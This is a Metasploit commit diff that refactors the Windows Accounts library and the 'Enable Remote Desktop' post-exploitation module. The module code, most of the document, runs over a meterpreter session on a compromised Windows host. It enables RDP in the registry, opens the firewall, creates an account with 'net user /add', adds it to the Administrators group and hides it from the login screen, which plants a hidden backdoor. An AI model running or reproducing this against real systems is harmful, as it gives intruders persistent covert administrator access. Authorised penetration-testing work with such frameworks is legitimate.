Land #8873, cleanup enable_rdp, add error handling

bug/bundler_fix
Brent Cook 2017-08-28 05:50:42 -05:00
commit 1e8edb377f
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 368 additions and 350 deletions

View File

@ -3,33 +3,32 @@
require 'msf/core/post/windows/error'
module Msf
class Post
module Windows
module Accounts
class Post
module Windows
module Accounts
include Msf::Post::Windows::Error
GUID = [
['Data1',:DWORD],
['Data2',:WORD],
['Data3',:WORD],
['Data4','BYTE[8]']
]
['Data1', :DWORD],
['Data2', :WORD],
['Data3', :WORD],
['Data4', 'BYTE[8]']
].freeze
DOMAIN_CONTROLLER_INFO = [
['DomainControllerName',:LPSTR],
['DomainControllerAddress',:LPSTR],
['DomainControllerAddressType',:ULONG],
['DomainGuid',GUID],
['DomainName',:LPSTR],
['DnsForestName',:LPSTR],
['Flags',:ULONG],
['DcSiteName',:LPSTR],
['ClientSiteName',:LPSTR]
]
['DomainControllerName', :LPSTR],
['DomainControllerAddress', :LPSTR],
['DomainControllerAddressType', :ULONG],
['DomainGuid', GUID],
['DomainName', :LPSTR],
['DnsForestName', :LPSTR],
['Flags', :ULONG],
['DcSiteName', :LPSTR],
['ClientSiteName', :LPSTR]
].freeze
##
# get_domain(server_name=nil)
# get_domain(server_name = nil)
#
# Summary:
# Retrieves the current DomainName the given server is
@ -43,7 +42,7 @@ module Accounts
# an exception.
#
##
def get_domain(server_name=nil)
def get_domain(server_name = nil)
domain = nil
result = session.railgun.netapi32.DsGetDcNameA(
server_name,
@ -51,7 +50,8 @@ module Accounts
nil,
nil,
0,
4)
4
)
begin
dc_info_addr = result['DomainControllerInfo']
@ -85,16 +85,16 @@ module Accounts
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* windows error. That error is printed.
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
#http://msdn.microsoft.com/en-us/library/aa370674.aspx
# http://msdn.microsoft.com/en-us/library/aa370674.aspx
case deletion['return']
when 2221 # NERR_UserNotFound
return :user_not_found
@ -117,10 +117,9 @@ module Accounts
end
# If we got here, then something above failed
return nil
nil
end
##
# resolve_sid(sid, system_name = nil)
#
@ -133,23 +132,23 @@ module Accounts
#
# Returns:
# {
# :name => account name (e.g. "SYSTEM")
# :domain => domain where the account name was found. May have values such as
# name: account name (e.g. "SYSTEM")
# domain: domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# :type => one of :user, :group, :domain, :alias, :well_known_group,
# type: one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# :mapped => There was a mapping found for the SID
# mapped: There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { :mapped => false } will be returned
# nil is returned if there is an *exceptional* windows error. That error is printed.
# If an invalid system_name is provided, there will be a windows error and nil returned
# If a valid mapping is not found, only { mapped: false } will be returned
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# If an invalid system_name is provided, there will be a Windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32;
adv = client.railgun.advapi32
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
@ -162,9 +161,12 @@ module Accounts
case error
when client.railgun.const('ERROR_INVALID_SID')
# An invalid SID was supplied
return { :type => :invalid, :mapped => false }
return { type: :invalid, mapped: false }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected windows error #{error}"
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
@ -178,27 +180,32 @@ module Accounts
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(system_name,
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
1
)
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
lp_name = cch_name = lookup['cchName']
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
lookup = adv.LookupAccountSidA(system_name,
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
1
)
elsif !lookup['return']
print_error "Unexpected windows error #{lookup['GetLastError']}"
print_error "Unexpected Windows error #{lookup['GetLastError']}"
return nil
end
ensure
@ -213,12 +220,12 @@ module Accounts
case error
when client.railgun.const('ERROR_INVALID_PARAMETER')
# Unless the railgun call is broken, this means revision is wrong
return { :type => :invalid }
return { type: :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { :mapped => false }
return { mapped: false }
else
print_error "Unexpected windows error #{error}"
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
@ -227,10 +234,10 @@ module Accounts
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
return {
:name => lookup['Name'],
:domain => lookup['ReferencedDomainName'],
:type => sid_type,
:mapped => true
name: lookup['Name'],
domain: lookup['ReferencedDomainName'],
type: sid_type,
mapped: true
}
end
@ -247,21 +254,21 @@ module Accounts
:user,
# SidTypeGroup,
:group,
#SidTypeDomain,
# SidTypeDomain,
:domain,
#SidTypeAlias,
# SidTypeAlias,
:alias,
#SidTypeWellKnownGroup,
# SidTypeWellKnownGroup,
:well_known_group,
#SidTypeDeletedAccount,
# SidTypeDeletedAccount,
:deleted_account,
#SidTypeInvalid,
# SidTypeInvalid,
:invalid,
#SidTypeUnknown,
# SidTypeUnknown,
:unknown,
#SidTypeComputer,
# SidTypeComputer,
:computer,
#SidTypeLabel
# SidTypeLabel
:integrity_label
][enum_value - 1]
end
@ -278,9 +285,9 @@ module Accounts
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) # get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"], 2, 4) # get an impersonation token
if it["return"] # if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
@ -298,18 +305,18 @@ module Accounts
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
# define generic mapping structure
gen_map = [0, 0, 0, 0]
gen_map = gen_map.pack("V")
buffer_size = 500
#get Security Descriptor for the directory
# get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif f['GetLastError'] == 2
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
@ -317,22 +324,21 @@ module Accounts
return nil
end
#check for write access, called once to get buffer size
# check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
return nil if !r["return"]
result << "R" if r["GrantedAccess"] > 0
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
return nil if !w["return"]
result << "W" if w["GrantedAccess"] > 0
result
end
end # Accounts
end # Windows
end # Post
end # Accounts
end # Windows
end # Post
end # Msf

View File

@ -10,8 +10,10 @@ class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::File
def initialize(info={})
super( update_info( info,
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Enable Remote Desktop',
'Description' => %q{
This module enables the Remote Desktop Service (RDP). It provides the options to create
@ -21,22 +23,30 @@ class MetasploitModule < Msf::Post
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
)
)
register_options(
[
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
OptBool.new( 'ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new( 'FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new( 'LPORT', [ false, 'Local port to forward remote connection.', 3389])
])
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
]
)
end
def run
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
cleanup_rc = store_loot(
"host.windows.cleanup.enable_rdp",
"text/plain",
session,
"",
"enable_rdp_cleanup.rc",
"enable_rdp cleanup resource file"
)
if datastore['ENABLE']
if is_admin?
@ -46,9 +56,9 @@ class MetasploitModule < Msf::Post
print_error("Insufficient privileges, Remote Desktop Service was not modified")
end
end
if datastore['USERNAME'] and datastore['PASSWORD']
if datastore['USERNAME'] && datastore['PASSWORD']
if is_admin?
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'],cleanup_rc)
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
else
print_error("Insufficient privileges, account was not be created.")
end
@ -65,21 +75,20 @@ class MetasploitModule < Msf::Post
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
value = "fDenyTSConnections"
begin
v = registry_getvaldata(key,value)
v = registry_getvaldata(key, value)
print_status "Enabling Remote Desktop"
if v == 1
print_status "\tRDP is disabled; enabling it ..."
registry_setvaldata(key,value,0,"REG_DWORD")
file_local_write(cleanup_rc,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
registry_setvaldata(key, value, 0, "REG_DWORD")
file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
else
print_status "\tRDP is already enabled"
end
rescue::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv(cleanup_rc)
service_name = "termservice"
srv_info = service_info(service_name)
@ -87,32 +96,27 @@ class MetasploitModule < Msf::Post
print_status "Setting Terminal Services service startup mode"
if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
print_error("\tUnable to change start type to Auto")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
if (service_start(service_name) == Windows::Error::SUCCESS)
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
if service_start(service_name) == Windows::Error::SUCCESS
print_good("\tRDP Service Started")
end
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
else
print_status "\tTerminal Services service is already set to auto"
end
#Enabling Exception on the Firewall
# Enabling Exception on the Firewall
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue::Exception => e
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(username, password,cleanup_rc)
rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name]
def addrdpusr(username, password, cleanup_rc)
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
@ -121,6 +125,19 @@ class MetasploitModule < Msf::Post
return
end
rdu_sid = resolve_sid("S-1-5-32-555")
admin_sid = resolve_sid("S-1-5-32-544")
if !rdu_sid[:mapped] || !admin_sid[:mapped]
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
print_error("\tNot adding user #{username}")
return
end
rdu = rdu_sid[:name]
admin = admin_sid[:name]
user_added = false
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
@ -131,16 +148,16 @@ class MetasploitModule < Msf::Post
end
if user_added
file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
print_status "\tAdding User: #{username} to local group '#{rdu}'"
cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add")
cmd_exec("cmd.exe", "/c net localgroup \"#{rdu}\" #{username} /add")
print_status "\tHiding user from Windows Login screen"
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
registry_setvaldata(hide_user_key,username,0,"REG_DWORD")
file_local_write(cleanup_rc,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
registry_setvaldata(hide_user_key, username, 0, "REG_DWORD")
file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
print_status "\tAdding User: #{username} to local group '#{admin}'"
cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add")
cmd_exec("cmd.exe", "/c net localgroup #{admin} #{username} /add")
print_status "You can now login with the created user"
else
print_error("Account could not be created")
@ -149,17 +166,12 @@ class MetasploitModule < Msf::Post
print_error("\t#{l.chomp}")
end
end
rescue ::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def check_user(user)
output = cmd_exec('cmd.exe', '/c net user')
if output.include?(user)
return true
end
false
cmd_exec('cmd.exe', '/c net user').include?(user)
end
end